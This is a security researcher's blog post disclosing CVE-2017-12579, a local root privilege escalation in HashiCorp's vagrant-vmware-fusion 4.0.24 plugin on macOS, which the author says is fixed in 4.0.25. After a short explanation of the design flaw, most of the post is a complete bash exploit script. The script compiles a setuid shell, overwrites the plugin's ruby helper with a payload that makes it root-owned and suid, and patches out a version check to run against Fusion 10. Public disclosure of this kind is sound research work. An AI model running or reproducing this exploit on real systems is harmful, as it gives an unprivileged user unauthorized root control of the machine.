CVE-2017-12579 Local root privesc in Hashicorp vagrant-vmware-fusion 4.0.24

18 Oct 2017 08:11 | macOS | security | exploits

I have previously disclosed a couple of bugs in Hashicorp's
vagrant-vmware-fusion plugin for vagrant.

Unfortunately the 4.0.23 release which was supposed to fix the previous bug I
reported didn't address the issue, so Hashicorp quickly put out another release
- 4.0.24 - after that (but didn't update the public changelog on github).

Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design
flaw in the way the plugin is written combined with the need to elevate
privileges for certain functions within Fusion.

Because Hashicorp need users to be able to update the plugin as the local
non-root user the encrypted ruby code that the plugin is comprised of must
remain owned by the non-root user. This means there is a huge attack surface
that we can exploit to manipulate the execution of the program and still get
root on 4.0.24.

I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is
not compatible with Fusion 10. Curiously though it can be fairly easily tricked
into working (at least partially) with Fusion 10 simply by patching out the
version check and creating a symlink. I discovered this while trying to get the
4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch
the version check out of the code, create a symlink for a binary that VMWare
moved in v10 and then we're away. I was able to vagrant up and ssh into the
running vm without any issues. It also means I was able to update the exploit so
that it works on Fusion 8.x and Fusion 10.

This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid
helper binary with a new go binary that contains all the required elevated
operations and doesn't call back to the vulnerable ruby code.

https://m4.rkw.io/vagrant_vmware_privesc_4.0.24_v8-10.sh.txt
30d54139620bf8e805805d34aa54f4f348b7371642828b28cd0f8c5a7a65c0e8
-----------------------------------------------------------------------------
#!/bin/bash
echo
echo "**********************************************************"
echo "* vagrant_vmware_fusion plugin 4.0.24 local root privesc *"
echo "* by m4rkw - https://m4.rkw.io/blog.html                 *";
echo "**********************************************************"
echo "* works against vmware fusion 8.x and 10.x - even though *"
echo "* 4.0.24 is not compatible with 10.x, we patch out the   *"
echo "* version check ;)                                       *"
echo "**********************************************************"
echo

cleanup() {
  exec 2> /dev/null
  killall -9 vagrant 1>/dev/null 2>/dev/null
  kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null
  exec 2> /dev/tty
  x=`pwd |sed 's/.*\///'`
  if [ "$x" == ".vagrant_vmware_fusion_4024_exp" ] ; then
    cd ..
    rm -rf .vagrant_vmware_fusion_4024_exp
  fi
  cd
  rm -rf .vagrant_vmware_fusion_4024_exp
  if [ -e "$target1.bak" ] ; then
    mv -f $target1.bak $target1
  fi
  if [ -e "$target2.orig" ] ; then
    mv -f $target2.orig $target2
  fi
}

vuln=`find ~/.vagrant.d//gems/2.3.4/gems/vagrant-vmware-fusion-4.0.24/bin -type f -perm +4000`

if [ "$vuln" == "" ] ; then
  echo "Vulnerable suid binary not found. It gets +s after the first vagrant up."
  exit 1
fi

mkdir .vagrant_vmware_fusion_4024_exp
cd .vagrant_vmware_fusion_4024_exp

echo "Looking for a vmware_desktop vagrant box ..."

box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`

download=0

if [ "$box" == "" ] ; then
  download=1
  echo "No box found, defaulting to envimation/ubuntu-xenial ..."
  box="envimation/ubuntu-xenial"
fi

echo "Writing a dummy vagrantfile ..."

cat > vagrantfile <<EOF
Vagrant.configure('2') do |config|
  config.vm.box = '$box'
end
EOF

echo "Compiling the shell invoker ..."

cat > /tmp/v.c <<EOF2
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/v; /bin/bash",NULL);
  return 0;
}
EOF2
gcc -o /tmp/v /tmp/v.c
rm -f /tmp/v.c

echo "Looking for the sudo_helper_cli.rb ..."

target1=`find ~/.vagrant.d/ -name sudo_helper_cli.rb |grep vagrant-vmware-fusion-4.0.24`

if [ $target1 == "" ] ; then
  cleanup
  echo "sudo_helper_cli.rb version 4.0.24 not found"
  exit 1
fi

echo "Installing ruby payload ..."

if [ ! -e "$target1.bak" ] ; then
  mv -f $target1 $target1.bak
  if [ ! $? -eq 0 ] ; then
    cleanup
    echo "Unable to rename $target1, may not be exploitable."
    exit 1
  fi
fi

cat > $target1 <<EOF
#!/usr/bin/env ruby
class HashiCorp::VagrantVMwarefusion::SudoHelperCLI
  def run(x)
    \`chown root:wheel /tmp/v\`
    \`chmod 4755 /tmp/v\`
  end
end
EOF

if [ ! $? -eq 0 ] ; then
  cleanup
  echo "Unable to write to $target1, may not be exploitable."
  exit 1
fi

vc=`/Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx -v 2>&1 |grep 'VMware Fusion 10.'`

if [ "$vc" != "" ] ; then
  echo "Fusion 10.x detected, Patching out the version check ..."

  target2=`find ~/.vagrant.d/ -name driver.rb |grep vagrant-vmware-fusion-4.0.24`

  if [ "$target2" == "" ] ; then
    cleanup
    echo "driver.rb version 4.0.24 not found"
    exit 1
  fi

  if [ ! -e "$target2.orig" ] ; then
    mv -f $target2 $target2.orig
    if [ ! $? -eq 0 ] ; then
      cleanup
      echo "Unable to rename $target2, may not be exploitable."
      exit 1
    fi
  fi

  cat > $target2 <<EOF
load File.dirname(__FILE__) + "/driver.rb.orig"

module DriverVersionHack
  def verify!
  end
end

class HashiCorp::VagrantVMwarefusion::Driver::Fusion
  prepend DriverVersionHack
end
EOF
fi

echo "Triggering vagrant up ..."

vagrant up &>/dev/null &

success=0


if [ $download -eq 1 ] ; then
  echo "*** we need to download the vmware box so this will take a minute or two ***"
fi

echo "Waiting for payload to trigger ..."

count=0

while :
do
  r=`ls -la /tmp/v |grep -- '-rwsr-xr-x  1 root  wheel'`
  if [ "$r" != "" ] ; then
    success=1
    break
  fi
  r=`ps auxwww |egrep '\/vagrant up$'`
  if [ "$r" == "" ] ; then
    break
  fi
  sleep 0.2
  count=$(($count + 1))
  if [ $count -eq 150 ] ; then
    echo "Timed out waiting for the payload to trigger."
    cleanup
    exit 1
  fi
done

cleanup

if [ ! $success -eq 1 ] ; then
  echo "Exploit failed."
  exit 1
fi

echo

/tmp/v